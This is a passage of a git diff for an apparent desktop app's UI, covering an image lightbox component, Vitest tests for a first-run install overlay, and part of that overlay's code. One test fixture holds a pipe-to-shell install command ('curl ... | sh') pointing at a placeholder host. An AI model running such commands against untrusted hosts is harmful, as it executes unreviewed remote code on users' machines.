+export interface ZoomableImageProps extends ComponentProps<'img'> {
+  containerClassName?: string
+  slot?: string
+}
+
+export interface ImageActionCopy {
+  downloadImage: string
+  savingImage: string
+}
+
+export function ZoomableImage({ className, containerClassName, src, alt, slot, ...props }: ZoomableImageProps) {
+  const { t } = useI18n()
+  const copy = t.desktop
+  const { download, saving } = useImageDownload(src)
+  const [lightboxOpen, setLightboxOpen] = useState(false)
+  const canOpen = Boolean(src)
+
+  return (
+    <>
+      <span
+        className={cn('group/image relative inline-block max-w-full align-top', containerClassName)}
+        data-slot={slot ?? 'aui_zoomable-image'}
+      >
+        <button
+          className="contents"
+          disabled={!canOpen}
+          onClick={() => canOpen && setLightboxOpen(true)}
+          title={canOpen ? copy.openImage : undefined}
+          type="button"
+        >
+          <img alt={alt ?? ''} className={className} src={src} {...props} />
+        </button>
+        {src && (
+          <ImageActionButton className="group-hover/image:opacity-100" copy={copy} onClick={download} saving={saving} />
+        )}
+      </span>
+      {src && (
+        <ImageLightbox
+          alt={alt}
+          copy={copy}
+          onClick={download}
+          onOpenChange={setLightboxOpen}
+          open={lightboxOpen}
+          saving={saving}
+          src={src}
+        />
+      )}
+    </>
+  )
+}
+
+export function ImageLightbox({
+  alt,
+  copy,
+  onClick,
+  onOpenChange,
+  open,
+  saving,
+  src
+}: {
+  alt?: string
+  copy: ImageActionCopy
+  onClick: () => void
+  onOpenChange: (open: boolean) => void
+  open: boolean
+  saving: boolean
+  src: string
+}) {
+  return (
+    <Dialog onOpenChange={onOpenChange} open={open}>
+      <DialogContent
+        bodyClassName="block overflow-visible p-0"
+        className="w-auto max-h-[calc(100vh-12rem)] max-w-[calc(100vw-12rem)] border-0 bg-transparent shadow-none"
+        showCloseButton={false}
+      >
+        <div className="group/lightbox relative inline-block">
+          <img
+            alt={alt ?? ''}
+            className="block max-h-[calc(100vh-12rem)] max-w-[calc(100vw-12rem)] cursor-zoom-out select-auto rounded-lg object-contain shadow-2xl"
+            onClick={() => onOpenChange(false)}
+            src={src}
+          />
+          <ImageActionButton
+            className="group-hover/lightbox:opacity-100"
+            copy={copy}
+            onClick={onClick}
+            saving={saving}
+          />
+        </div>
+      </DialogContent>
+    </Dialog>
+  )
+}
+
+export function ImageActionButton({
+  className,
+  copy,
+  onClick,
+  saving
+}: {
+  className?: string
+  copy: ImageActionCopy
+  onClick: () => void
+  saving: boolean
+}) {
+  return (
+    <button
+      aria-label={saving ? copy.savingImage : copy.downloadImage}
+      className={cn(
+        'absolute right-2 top-2 grid size-8 place-items-center rounded-full border border-border/70 bg-background/80 text-muted-foreground opacity-0 shadow-sm backdrop-blur transition-opacity hover:bg-accent hover:text-foreground focus-visible:opacity-100 disabled:opacity-50',
+        className
+      )}
+      disabled={saving}
+      onClick={event => {
+        event.stopPropagation()
+        void onClick()
+      }}
+      title={saving ? copy.savingImage : copy.downloadImage}
+      type="button"
+    >
+      <Download className={cn('size-4', saving && 'animate-pulse')} />
+    </button>
+  )
+}
diff --git a/ui-desktop/src/components/desktop-install-overlay.test.tsx b/ui-desktop/src/components/desktop-install-overlay.test.tsx
new file mode 100644
index 000000000..52a883f16
--- /dev/null
+++ b/ui-desktop/src/components/desktop-install-overlay.test.tsx
@@ -0,0 +1,576 @@
+// @vitest-environment jsdom
+import { act, cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { DesktopBootstrapEvent, DesktopBootstrapState, DesktopConnectionProbeResult } from '@/global'
+
+import { DesktopInstallOverlay } from './desktop-install-overlay'
+
+function bootstrapState(overrides: Partial<DesktopBootstrapState> = {}): DesktopBootstrapState {
+  return {
+    active: false,
+    manifest: null,
+    stages: {},
+    error: null,
+    log: [],
+    startedAt: null,
+    completedAt: null,
+    setupChoice: null,
+    unsupportedPlatform: null,
+    ...overrides
+  }
+}
+
+function installDesktopMock(state: DesktopBootstrapState) {
+  const bootstrapListeners = new Set<(event: DesktopBootstrapEvent) => void>()
+
+  const desktop = {
+    getBootstrapState: vi.fn().mockResolvedValue(state),
+    onBootstrapEvent: vi.fn((listener: (event: DesktopBootstrapEvent) => void) => {
+      bootstrapListeners.add(listener)
+
+      return () => bootstrapListeners.delete(listener)
+    }),
+    continueBootstrapLocal: vi.fn().mockResolvedValue({ ok: true }),
+    probeConnectionConfig: vi.fn(),
+    testConnectionConfig: vi.fn(),
+    applyConnectionConfig: vi.fn(),
+    oauthLoginConnectionConfig: vi.fn(),
+    openExternal: vi.fn(),
+    emitBootstrapEvent: (event: DesktopBootstrapEvent) => {
+      for (const listener of bootstrapListeners) {
+        listener(event)
+      }
+    }
+  }
+
+  Object.defineProperty(window, 'clawcodexDesktop', {
+    configurable: true,
+    value: desktop
+  })
+
+  return desktop
+}
+
+// Resolve the instant a node commits, via MutationObserver rather than
+// waitFor's polling timer. findBy* only settles on a timer tick, by which
+// point React has already drained its passive effects — that hides any bug
+// living in the window between paint and effect.
+function whenPresent(text: string): Promise<HTMLElement> {
+  return new Promise(resolve => {
+    const existing = screen.queryByText(text)
+
+    if (existing) {
+      resolve(existing)
+
+      return
+    }
+
+    const observer = new MutationObserver(() => {
+      const node = screen.queryByText(text)
+
+      if (node) {
+        observer.disconnect()
+        resolve(node)
+      }
+    })
+
+    observer.observe(document.body, { childList: true, subtree: true, characterData: true })
+  })
+}
+
+beforeEach(() => {
+  vi.restoreAllMocks()
+})
+
+afterEach(() => {
+  cleanup()
+  vi.useRealTimers()
+  Reflect.deleteProperty(window, 'clawcodexDesktop')
+})
+
+describe('DesktopInstallOverlay first-run setup', () => {
+  it('shows the remote/local choice without installer progress', async () => {
+    installDesktopMock(
+      bootstrapState({
+        setupChoice: { platform: 'win32', activeRoot: 'C:\\Users\\me\\AppData\\Local\\clawcodex\\clawcodex' }
+      })
+    )
+
+    render(<DesktopInstallOverlay />)
+
+    expect(await screen.findByText('Set up ClawCodex Desktop')).toBeTruthy()
+    expect(screen.getByText('Connect to existing ClawCodex')).toBeTruthy()
+    expect(screen.getByText('Install ClawCodex locally')).toBeTruthy()
+    expect(screen.queryByText(/steps complete/i)).toBeNull()
+    expect(screen.queryByText(/Fetching installer manifest/i)).toBeNull()
+  })
+
+  it('continues local bootstrap only when Install ClawCodex locally is selected', async () => {
+    const desktop = installDesktopMock(
+      bootstrapState({
+        setupChoice: { platform: 'win32', activeRoot: 'C:\\Users\\me\\AppData\\Local\\clawcodex\\clawcodex' }
+      })
+    )
+
+    render(<DesktopInstallOverlay />)
+
+    fireEvent.click(await screen.findByText('Install ClawCodex locally'))
+
+    expect(desktop.continueBootstrapLocal).toHaveBeenCalledTimes(1)
+    expect(screen.getByText('Set up ClawCodex Desktop')).toBeTruthy()
+
+    act(() => {
+      desktop.emitBootstrapEvent({ type: 'manifest', protocolVersion: 1, stages: [] })
+    })
+
+    await waitFor(() => expect(screen.queryByText('Set up ClawCodex Desktop')).toBeNull())
+    expect(screen.getByText(/Fetching installer manifest/i)).toBeTruthy()
+  })
+
+  it('surfaces a recoverable error when the local-bootstrap bridge is unavailable', async () => {
+    const desktop = installDesktopMock(
+      bootstrapState({
+        setupChoice: { platform: 'win32', activeRoot: 'C:\\Users\\me\\AppData\\Local\\clawcodex\\clawcodex' }
+      })
+    )
+
+    desktop.continueBootstrapLocal = undefined as never
+    render(<DesktopInstallOverlay />)
+
+    const install = (await screen.findByText('Install ClawCodex locally')).closest('button') as HTMLButtonElement
+    fireEvent.click(install)
+
+    expect(
+      await screen.findByText('Local installation could not start. Restart ClawCodex Desktop and try again.')
+    ).toBeTruthy()
+    expect(install.disabled).toBe(false)
+  })
+
+  it('keeps the local-start error when the first snapshot commits under the click', async () => {
+    const desktop = installDesktopMock(
+      bootstrapState({
+        setupChoice: { platform: 'win32', activeRoot: 'C:\\Users\\me\\AppData\\Local\\clawcodex\\clawcodex' }
+      })
+    )
+
+    desktop.continueBootstrapLocal = undefined as never
+    render(<DesktopInstallOverlay />)
+
+    // Click the instant the choice paints, before React drains the passive
+    // effect that reacts to the first snapshot. A loaded runner hits this
+    // window by accident; observing the DOM directly hits it every time.
+    const install = (await whenPresent('Install ClawCodex locally')).closest('button') as HTMLButtonElement
+    fireEvent.click(install)
+
+    await act(async () => {
+      await Promise.resolve()
+    })
+
+    expect(screen.queryByText('Local installation could not start. Restart ClawCodex Desktop and try again.')).toBeTruthy()
+  })
+
+  it('clears a stale local-start error when a repair presents a different root', async () => {
+    const desktop = installDesktopMock(
+      bootstrapState({
+        setupChoice: { platform: 'win32', activeRoot: 'C:\\Users\\me\\AppData\\Local\\clawcodex\\clawcodex' }
+      })
+    )
+
+    desktop.continueBootstrapLocal = undefined as never
+    render(<DesktopInstallOverlay />)
+
+    fireEvent.click((await screen.findByText('Install ClawCodex locally')).closest('button') as HTMLButtonElement)
+    expect(
+      await screen.findByText('Local installation could not start. Restart ClawCodex Desktop and try again.')
+    ).toBeTruthy()
+
+    act(() => {
+      desktop.emitBootstrapEvent({
+        type: 'setup-choice',
+        active: false,
+        platform: 'win32',
+        activeRoot: 'C:\\Users\\me\\AppData\\Local\\clawcodex\\clawcodex-repaired'
+      })
+    })
+
+    expect(screen.queryByText('Local installation could not start. Restart ClawCodex Desktop and try again.')).toBeNull()
+  })
+
+  it('opens the remote connection form from the first-run choice', async () => {
+    installDesktopMock(
+      bootstrapState({
+        setupChoice: { platform: 'linux', activeRoot: '/home/me/.clawcodex/clawcodex' }
+      })
+    )
+
+    render(<DesktopInstallOverlay />)
+
+    fireEvent.click(await screen.findByText('Connect to existing ClawCodex'))
+
+    expect(await screen.findByText('Gateway URL')).toBeTruthy()
+    expect(screen.getByText('Test connection')).toBeTruthy()
+    expect(screen.getByText('Apply and reconnect')).toBeTruthy()
+  })
+
+  it('returns from the remote connection form to the first-run choice', async () => {
+    installDesktopMock(
+      bootstrapState({
+        setupChoice: { platform: 'linux', activeRoot: '/home/me/.clawcodex/clawcodex' }
+      })
+    )
+
+    render(<DesktopInstallOverlay />)
+
+    fireEvent.click(await screen.findByText('Connect to existing ClawCodex'))
+    expect(await screen.findByText('Gateway URL')).toBeTruthy()
+
+    fireEvent.click(screen.getByText('Back'))
+
+    expect(await screen.findByText('Set up ClawCodex Desktop')).toBeTruthy()
+    expect(screen.getByText('Install ClawCodex locally')).toBeTruthy()
+  })
+
+  it('requires a successful token connection test before applying remote config', async () => {
+    const desktop = installDesktopMock(
+      bootstrapState({
+        setupChoice: { platform: 'linux', activeRoot: '/home/me/.clawcodex/clawcodex' }
+      })
+    )
+
+    desktop.probeConnectionConfig.mockResolvedValue({
+      authMode: 'token',
+      baseUrl: 'https://gateway.example.com/clawcodex',
+      error: null,
+      providers: [],
+      reachable: true,
+      version: '0.17.0'
+    })
+    desktop.testConnectionConfig.mockResolvedValue({
+      baseUrl: 'https://gateway.example.com/clawcodex',
+      ok: true,
+      version: '0.17.0'
+    })
+    desktop.applyConnectionConfig.mockImplementation(async () => {
+      desktop.emitBootstrapEvent({ type: 'dismissed' })
+
+      return { mode: 'remote' }
+    })
+
+    render(<DesktopInstallOverlay />)
+
+    fireEvent.click(await screen.findByText('Connect to existing ClawCodex'))
+    fireEvent.change(await screen.findByPlaceholderText('https://gateway.example.com/clawcodex'), {
+      target: { value: 'https://gateway.example.com/clawcodex' }
+    })
+
+    const apply = screen.getByText('Apply and reconnect').closest('button') as HTMLButtonElement
+    expect(apply.disabled).toBe(true)
+
+    await act(async () => {
+      await new Promise(resolve => setTimeout(resolve, 550))
+    })
+
+    fireEvent.change(await screen.findByPlaceholderText('Paste session token'), {
+      target: { value: 'session-secret' }
+    })
+    fireEvent.click(screen.getByText('Test connection'))
+
+    await waitFor(() => {
+      expect(desktop.testConnectionConfig).toHaveBeenCalledWith({
+        mode: 'remote',
+        remoteAuthMode: 'token',
+        remoteToken: 'session-secret',
+        remoteUrl: 'https://gateway.example.com/clawcodex'
+      })
+    })
+
+    await screen.findByText('Connected to https://gateway.example.com/clawcodex (0.17.0).')
+    expect(apply.disabled).toBe(false)
+
+    fireEvent.click(screen.getByText('Apply and reconnect'))
+
+    await waitFor(() => {
+      expect(desktop.applyConnectionConfig).toHaveBeenCalledWith({
+        mode: 'remote',
+        remoteAuthMode: 'token',
+        remoteToken: 'session-secret',
+        remoteUrl: 'https://gateway.example.com/clawcodex'
+      })
+    })
+    await waitFor(() => expect(screen.queryByText('Gateway URL')).toBeNull())
+  })
+
+  it('ignores a completed probe after the gateway URL becomes invalid', async () => {
+    const desktop = installDesktopMock(
+      bootstrapState({
+        setupChoice: { platform: 'linux', activeRoot: '/home/me/.clawcodex/clawcodex' }
+      })
+    )
+
+    let resolveProbe: ((result: DesktopConnectionProbeResult) => void) | undefined
+
+    const pendingProbe = new Promise<DesktopConnectionProbeResult>(resolve => {
+      resolveProbe = resolve
+    })
+
+    desktop.probeConnectionConfig.mockReturnValue(pendingProbe)
+
+    render(<DesktopInstallOverlay />)
+
+    fireEvent.click(await screen.findByText('Connect to existing ClawCodex'))
+    const urlInput = await screen.findByPlaceholderText('https://gateway.example.com/clawcodex')
+    fireEvent.change(urlInput, { target: { value: 'https://gateway.example.com/clawcodex' } })
+
+    await act(async () => {
+      await new Promise(resolve => setTimeout(resolve, 550))
+    })
+    expect(desktop.probeConnectionConfig).toHaveBeenCalledTimes(1)
+
+    fireEvent.change(urlInput, { target: { value: 'not-a-url' } })
+    await act(async () => {
+      resolveProbe?.({
+        authMode: 'token',
+        baseUrl: 'https://gateway.example.com/clawcodex',
+        error: null,
+        providers: [],
+        reachable: true,
+        version: '0.17.0'
+      })
+      await pendingProbe
+    })
+
+    expect(screen.queryByPlaceholderText('Paste session token')).toBeNull()
+    expect((screen.getByText('Test connection').closest('button') as HTMLButtonElement).disabled).toBe(true)
+    expect((screen.getByText('Apply and reconnect').closest('button') as HTMLButtonElement).disabled).toBe(true)
+  })
+
+  it('does not enable Apply when credentials change during a connection test', async () => {
+    const desktop = installDesktopMock(
+      bootstrapState({
+        setupChoice: { platform: 'linux', activeRoot: '/home/me/.clawcodex/clawcodex' }
+      })
+    )
+
+    desktop.probeConnectionConfig.mockResolvedValue({
+      authMode: 'token',
+      baseUrl: 'https://gateway.example.com/clawcodex',
+      error: null,
+      providers: [],
+      reachable: true,
+      version: '0.17.0'
+    })
+
+    let resolveTest: ((result: { baseUrl: string; ok: boolean; version: string }) => void) | undefined
+
+    const pendingTest = new Promise<{ baseUrl: string; ok: boolean; version: string }>(resolve => {
+      resolveTest = resolve
+    })
+
+    desktop.testConnectionConfig.mockReturnValue(pendingTest)
+
+    render(<DesktopInstallOverlay />)
+
+    fireEvent.click(await screen.findByText('Connect to existing ClawCodex'))
+    fireEvent.change(await screen.findByPlaceholderText('https://gateway.example.com/clawcodex'), {
+      target: { value: 'https://gateway.example.com/clawcodex' }
+    })
+
+    await act(async () => {
+      await new Promise(resolve => setTimeout(resolve, 550))
+    })
+
+    const tokenInput = await screen.findByPlaceholderText('Paste session token')
+    const apply = screen.getByText('Apply and reconnect').closest('button') as HTMLButtonElement
+
+    fireEvent.change(tokenInput, { target: { value: 'token-a' } })
+    fireEvent.click(screen.getByText('Test connection'))
+    await waitFor(() => expect(desktop.testConnectionConfig).toHaveBeenCalledTimes(1))
+
+    fireEvent.change(tokenInput, { target: { value: 'token-b' } })
+
+    await act(async () => {
+      resolveTest?.({ baseUrl: 'https://gateway.example.com/clawcodex', ok: true, version: '0.17.0' })
+      await pendingTest
+    })
+
+    expect(screen.queryByText('Connected to https://gateway.example.com/clawcodex (0.17.0).')).toBeNull()
+    expect(apply.disabled).toBe(true)
+  })
+
+  it('restores remote apply controls when applying the tested connection fails', async () => {
+    const desktop = installDesktopMock(
+      bootstrapState({
+        setupChoice: { platform: 'linux', activeRoot: '/home/me/.clawcodex/clawcodex' }
+      })
+    )
+
+    desktop.probeConnectionConfig.mockResolvedValue({
+      authMode: 'token',
+      baseUrl: 'https://gateway.example.com/clawcodex',
+      error: null,
+      providers: [],
+      reachable: true,
+      version: '0.17.0'
+    })
+    desktop.testConnectionConfig.mockResolvedValue({
+      baseUrl: 'https://gateway.example.com/clawcodex',
+      ok: true,
+      version: '0.17.0'
+    })
+    desktop.applyConnectionConfig.mockRejectedValue(new Error('remote apply failed'))
+
+    render(<DesktopInstallOverlay />)
+
+    fireEvent.click(await screen.findByText('Connect to existing ClawCodex'))
+    fireEvent.change(await screen.findByPlaceholderText('https://gateway.example.com/clawcodex'), {
+      target: { value: 'https://gateway.example.com/clawcodex' }
+    })
+
+    await act(async () => {
+      await new Promise(resolve => setTimeout(resolve, 550))
+    })
+
+    fireEvent.change(await screen.findByPlaceholderText('Paste session token'), {
+      target: { value: 'session-secret' }
+    })
+    fireEvent.click(screen.getByText('Test connection'))
+    await screen.findByText('Connected to https://gateway.example.com/clawcodex (0.17.0).')
+
+    const apply = screen.getByText('Apply and reconnect').closest('button') as HTMLButtonElement
+    fireEvent.click(apply)
+
+    expect(await screen.findByText('remote apply failed')).toBeTruthy()
+    expect(apply.disabled).toBe(false)
+    expect(screen.getByText('Gateway URL')).toBeTruthy()
+  })
+
+  it('signs in, tests, and applies a password-style remote gateway', async () => {
+    const desktop = installDesktopMock(
+      bootstrapState({
+        setupChoice: { platform: 'linux', activeRoot: '/home/me/.clawcodex/clawcodex' }
+      })
+    )
+
+    desktop.probeConnectionConfig.mockResolvedValue({
+      authMode: 'oauth',
+      baseUrl: 'https://gateway.example.com/clawcodex',
+      error: null,
+      providers: [{ displayName: 'Username & Password', name: 'password', supportsPassword: true }],
+      reachable: true,
+      version: '0.17.0'
+    })
+    desktop.oauthLoginConnectionConfig.mockResolvedValue({
+      baseUrl: 'https://gateway.example.com/clawcodex',
+      connected: true,
+      ok: true
+    })
+    desktop.testConnectionConfig.mockResolvedValue({
+      baseUrl: 'https://gateway.example.com/clawcodex',
+      ok: true,
+      version: null
+    })
+    desktop.applyConnectionConfig.mockResolvedValue({ mode: 'remote' })
+
+    render(<DesktopInstallOverlay />)
+
+    fireEvent.click(await screen.findByText('Connect to existing ClawCodex'))
+    fireEvent.change(await screen.findByPlaceholderText('https://gateway.example.com/clawcodex'), {
+      target: { value: 'https://gateway.example.com/clawcodex' }
+    })
+
+    await act(async () => {
+      await new Promise(resolve => setTimeout(resolve, 550))
+    })
+
+    expect(screen.queryByText('Sign in with Username & Password')).toBeNull()
+    fireEvent.click(await screen.findByText('Sign in'))
+
+    await waitFor(() => {
+      expect(desktop.oauthLoginConnectionConfig).toHaveBeenCalledWith('https://gateway.example.com/clawcodex')
+    })
+
+    fireEvent.click(screen.getByText('Test connection'))
+
+    await waitFor(() => {
+      expect(desktop.testConnectionConfig).toHaveBeenCalledWith({
+        mode: 'remote',
+        remoteAuthMode: 'oauth',
+        remoteToken: undefined,
+        remoteUrl: 'https://gateway.example.com/clawcodex'
+      })
+    })
+
+    await screen.findByText('Connected to https://gateway.example.com/clawcodex.')
+    const apply = screen.getByText('Apply and reconnect').closest('button') as HTMLButtonElement
+    expect(apply.disabled).toBe(false)
+    fireEvent.click(apply)
+
+    await waitFor(() => {
+      expect(desktop.applyConnectionConfig).toHaveBeenCalledWith({
+        mode: 'remote',
+        remoteAuthMode: 'oauth',
+        remoteToken: undefined,
+        remoteUrl: 'https://gateway.example.com/clawcodex'
+      })
+    })
+  })
+
+  it('offers remote connection from the unsupported packaged install screen', async () => {
+    const desktop = installDesktopMock(
+      bootstrapState({
+        unsupportedPlatform: {
+          platform: 'darwin',
+          activeRoot: '/Users/me/.clawcodex/clawcodex',
+          installCommand: 'curl -fsSL https://example.invalid/install.sh | sh',
+          docsUrl: 'https://example.invalid/docs'
+        }
+      })
+    )
+
+    render(<DesktopInstallOverlay />)
+
+    expect(await screen.findByText('ClawCodex needs a one-time install')).toBeTruthy()
+
+    fireEvent.click(screen.getByText('Connect existing'))
+
+    expect(await screen.findByText('Gateway URL')).toBeTruthy()
+
+    desktop.probeConnectionConfig.mockResolvedValue({
+      authMode: 'token',
+      baseUrl: 'https://gateway.example.com/clawcodex',
+      error: null,
+      providers: [],
+      reachable: true,
+      version: '0.17.0'
+    })
+    desktop.testConnectionConfig.mockResolvedValue({
+      baseUrl: 'https://gateway.example.com/clawcodex',
+      ok: true,
+      version: '0.17.0'
+    })
+    desktop.applyConnectionConfig.mockImplementation(async () => {
+      desktop.emitBootstrapEvent({ type: 'dismissed' })
+
+      return { mode: 'remote' }
+    })
+
+    fireEvent.change(screen.getByPlaceholderText('https://gateway.example.com/clawcodex'), {
+      target: { value: 'https://gateway.example.com/clawcodex' }
+    })
+
+    await act(async () => {
+      await new Promise(resolve => setTimeout(resolve, 550))
+    })
+
+    fireEvent.change(await screen.findByPlaceholderText('Paste session token'), {
+      target: { value: 'session-secret' }
+    })
+    fireEvent.click(screen.getByText('Test connection'))
+    await screen.findByText('Connected to https://gateway.example.com/clawcodex (0.17.0).')
+    fireEvent.click(screen.getByText('Apply and reconnect'))
+
+    await waitFor(() => expect(screen.queryByText('Gateway URL')).toBeNull())
+    expect(screen.queryByText('ClawCodex needs a one-time install')).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/components/desktop-install-overlay.tsx b/ui-desktop/src/components/desktop-install-overlay.tsx
new file mode 100644
index 000000000..04ceca005
--- /dev/null
+++ b/ui-desktop/src/components/desktop-install-overlay.tsx
@@ -0,0 +1,723 @@
+import { useEffect, useMemo, useRef, useState } from 'react'
+
+import { BrandMark } from '@/components/brand-mark'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { ErrorIcon } from '@/components/ui/error-state'
+import { Loader } from '@/components/ui/loader'
+import { LogView } from '@/components/ui/log-view'
+import { Progress } from '@/components/ui/progress'
+import type {
+  DesktopBootstrapEvent,
+  DesktopBootstrapStageDescriptor,
+  DesktopBootstrapStageResult,
+  DesktopBootstrapStageState,
+  DesktopBootstrapState
+} from '@/global'
+import { useI18n } from '@/i18n'
+import { AlertCircle, ChevronDown, ChevronRight, Globe, iconSize, Loader2, Monitor } from '@/lib/icons'
+import { capitalize } from '@/lib/text'
+import { cn } from '@/lib/utils'
+
+import { FirstRunRemoteForm } from './first-run-remote-form'
+
+/**
+ * DesktopInstallOverlay
+ *
+ * Renders the first-launch install progress for ClawCodex. Mounted always;
+ * shows itself only when main.ts reports an in-flight bootstrap (state.active)
+ * OR an error from a completed-failed bootstrap (state.error). When the
+ * bootstrap finishes successfully the overlay fades out and the rest of the
+ * app (existing onboarding overlay -> main UI) takes over.
+ *
+ * Subscribes to two channels:
+ *   - getBootstrapState()           -- initial snapshot on mount
+ *   - onBootstrapEvent(callback)    -- live event stream
+ *
+ * The reducer is intentionally simple: every event mutates an in-component
+ * snapshot the same way main.ts mutates its server-side snapshot. We don't
+ * try to reconcile -- if we miss an event (shouldn't happen) the initial
+ * getBootstrapState() call will resync the picture on the next render.
+ *
+ * Stages flagged needs_user_input render with a deliberately subdued style:
+ * they're expected to come back as skipped=true (install.ps1 short-circuits
+ * them under -NonInteractive). The post-install configuration flow that
+ * those stages cover (API key, model, persona, gateway autostart) is handled
+ * by the existing DesktopOnboardingOverlay, NOT by the install overlay.
+ */
+
+interface DesktopInstallOverlayProps {
+  /** When false, the overlay never renders -- useful for dev when we want
+   * to suppress it entirely. */
+  enabled?: boolean
+}
+
+interface StageRowProps {
+  descriptor: DesktopBootstrapStageDescriptor
+  result: DesktopBootstrapStageResult | undefined
+  now: number
+}
+
+function formatStageName(name: string): string {
+  // 'system-packages' -> 'System packages'; 'uv' stays 'uv'
+  if (name.length <= 3) {
+    return name
+  }
+
+  return name
+    .split('-')
+    .map((word, i) => (i === 0 ? capitalize(word) : word))
+    .join(' ')
+}
+
+function formatDuration(ms: number | null | undefined): string {
+  if (typeof ms !== 'number' || !Number.isFinite(ms)) {
+    return ''
+  }
+
+  if (ms < 1000) {
+    return `${ms} ms`
+  }
+
+  const s = ms / 1000
+
+  if (s < 60) {
+    return `${s.toFixed(1)}s`
+  }
+
+  const m = Math.floor(s / 60)
+  const rs = Math.round(s - m * 60)
+
+  return `${m}m ${rs}s`
+}
+
+// Live elapsed for a running stage, as m:ss (or s for sub-minute).
+function formatElapsed(ms: number): string {
+  const s = Math.max(0, Math.floor(ms / 1000))
+
+  if (s < 60) {
+    return `${s}s`
+  }
+
+  const m = Math.floor(s / 60)
+
+  return `${m}:${String(s - m * 60).padStart(2, '0')}`
+}
+
+function StageRow({ descriptor, result, now }: StageRowProps) {
+  const { t } = useI18n()
+  const copy = t.install
+  const state: DesktopBootstrapStageState = result?.state || 'pending'
+
+  const elapsed =
+    state === 'running' && typeof result?.startedAt === 'number' ? formatElapsed(now - result.startedAt) : ''
+
+  const icon = useMemo(() => {
+    switch (state) {
+      case 'running':
+        return <Loader className="size-6" type="fourier-flow" />
+
+      case 'succeeded':
+
+      case 'skipped':
+        return <Codicon className="text-muted-foreground" name="check" size="0.8125rem" />
+
+      case 'failed':
+        return <ErrorIcon size="1rem" />
+
+      case 'pending':
+
+      default:
+        return <div className="size-1.5 rounded-full border border-(--ui-stroke-secondary)" />
+    }
+  }, [state])
+
+  const reason = result?.json?.reason || result?.error || null
+
+  return (
+    <li className="flex items-center gap-3 px-3 py-1">
+      {state === 'running' && (
+        <div className="-mr-2 -ml-4 flex size-6 flex-shrink-0 items-center justify-center">{icon}</div>
+      )}
+      <div className="min-w-0 flex-1">
+        <div className="flex items-center gap-1.5">
+          <span className={cn('truncate text-sm', state === 'running' ? 'font-medium' : 'text-muted-foreground')}>
+            {formatStageName(descriptor.name)}
+          </span>
+          {state !== 'running' && <span className="flex size-4 shrink-0 items-center justify-center">{icon}</span>}
+        </div>
+        {reason && state !== 'pending' && <p className="mt-0.5 truncate text-xs text-muted-foreground">{reason}</p>}
+      </div>
+      <span className="flex-shrink-0 text-xs tabular-nums text-muted-foreground">
+        {state === 'running' ? (elapsed ? `${copy.stageStates[state]} · ${elapsed}` : copy.stageStates[state]) : null}
+        {state === 'succeeded' || state === 'skipped' ? formatDuration(result?.durationMs) : null}
+        {state === 'failed' ? copy.stageStates[state] : null}
+      </span>
+    </li>
+  )
+}
+
+function errorMessage(err: unknown): string {
+  return err instanceof Error ? err.message : String(err || 'Unknown error')
+}
+
+const EMPTY_STATE: DesktopBootstrapState = {
+  active: false,
+  manifest: null,
+  stages: {},
+  error: null,
+  log: [],
+  startedAt: null,
+  completedAt: null,
+  setupChoice: null,
+  unsupportedPlatform: null
+}
+
+function applyEvent(state: DesktopBootstrapState, ev: DesktopBootstrapEvent): DesktopBootstrapState {
+  if (ev.type === 'dismissed') {
+    return { ...EMPTY_STATE }
+  }
+
+  if (ev.type === 'setup-choice') {
+    return {
+      ...state,
+      active: false,
+      manifest: null,
+      stages: {},
+      error: null,
+      setupChoice: ev.active
+        ? {
+            platform: ev.platform || state.setupChoice?.platform || 'unknown',
+            activeRoot: ev.activeRoot || state.setupChoice?.activeRoot || ''
+          }
+        : null,
+      unsupportedPlatform: null
+    }
+  }
+
+  if (ev.type === 'manifest') {
+    const stages: Record<string, DesktopBootstrapStageResult> = {}
+
+    for (const stage of ev.stages) {
+      stages[stage.name] = { state: 'pending', durationMs: null, startedAt: null, json: null, error: null }
+    }
+
+    return {
+      ...state,
+      active: true,
+      manifest: { type: 'manifest', stages: ev.stages, protocolVersion: ev.protocolVersion },
+      stages,
+      error: null,
+      setupChoice: null,
+      startedAt: state.startedAt || Date.now()
+    }
+  }
+
+  if (ev.type === 'stage') {
+    const prev = state.stages[ev.name]
+
+    return {
+      ...state,
+      stages: {
+        ...state.stages,
+        [ev.name]: {
+          state: ev.state,
+          durationMs: ev.durationMs ?? null,
+          // Stamp the start time on the running transition so the UI can show
+          // a live elapsed timer; preserve it across repeated running events.
+          startedAt: ev.state === 'running' ? (prev?.startedAt ?? Date.now()) : (prev?.startedAt ?? null),
+          json: ev.json ?? null,
+          error: ev.error ?? null
+        }
+      }
+    }
+  }
+
+  if (ev.type === 'log') {
+    const next = state.log.concat({ ts: Date.now(), stage: ev.stage ?? null, line: ev.line, stream: ev.stream })
+
+    while (next.length > 500) {
+      next.shift()
+    }
+
+    return { ...state, log: next }
+  }
+
+  if (ev.type === 'complete') {
+    return { ...state, active: false, completedAt: Date.now(), error: null }
+  }
+
+  if (ev.type === 'failed') {
+    return { ...state, active: false, error: ev.error || 'unknown error', setupChoice: null }
+  }
+
+  if (ev.type === 'unsupported-platform') {
+    return {
+      ...state,
+      active: false,
+      setupChoice: null,
+      unsupportedPlatform: {
+        platform: ev.platform,
+        activeRoot: ev.activeRoot,
+        installCommand: ev.installCommand,
+        docsUrl: ev.docsUrl
+      }
+    }
+  }
+
+  return state
+}
+
+export function DesktopInstallOverlay({ enabled = true }: DesktopInstallOverlayProps) {
+  const { t } = useI18n()
+  const copy = t.install
+
+  const [state, setState] = useState<DesktopBootstrapState>(EMPTY_STATE)
+  const [logOpen, setLogOpen] = useState(false)
+  const [copied, setCopied] = useState(false)
+  const [cancelling, setCancelling] = useState(false)
+  const [remoteOpen, setRemoteOpen] = useState(false)
+  const [now, setNow] = useState(() => Date.now())
+  const logEndRef = useRef<HTMLDivElement | null>(null)
+
+  // Tick once a second while a bootstrap is in flight so running steps show a
+  // live elapsed timer. Stops when nothing is active to avoid idle renders.
+  useEffect(() => {
+    if (!state.active) {
+      return
+    }
+
+    const id = window.setInterval(() => setNow(Date.now()), 1000)
+
+    return () => window.clearInterval(id)
+  }, [state.active])
+
+  // Subscribe to bootstrap events + load initial snapshot
+  useEffect(() => {
+    if (!enabled) {
+      return
+    }
+
+    const desktop = window.clawcodexDesktop
+
+    if (!desktop || typeof desktop.onBootstrapEvent !== 'function') {
+      return
+    }
+
+    let cancelled = false
+
+    desktop
+      .getBootstrapState()
+      .then(snapshot => {
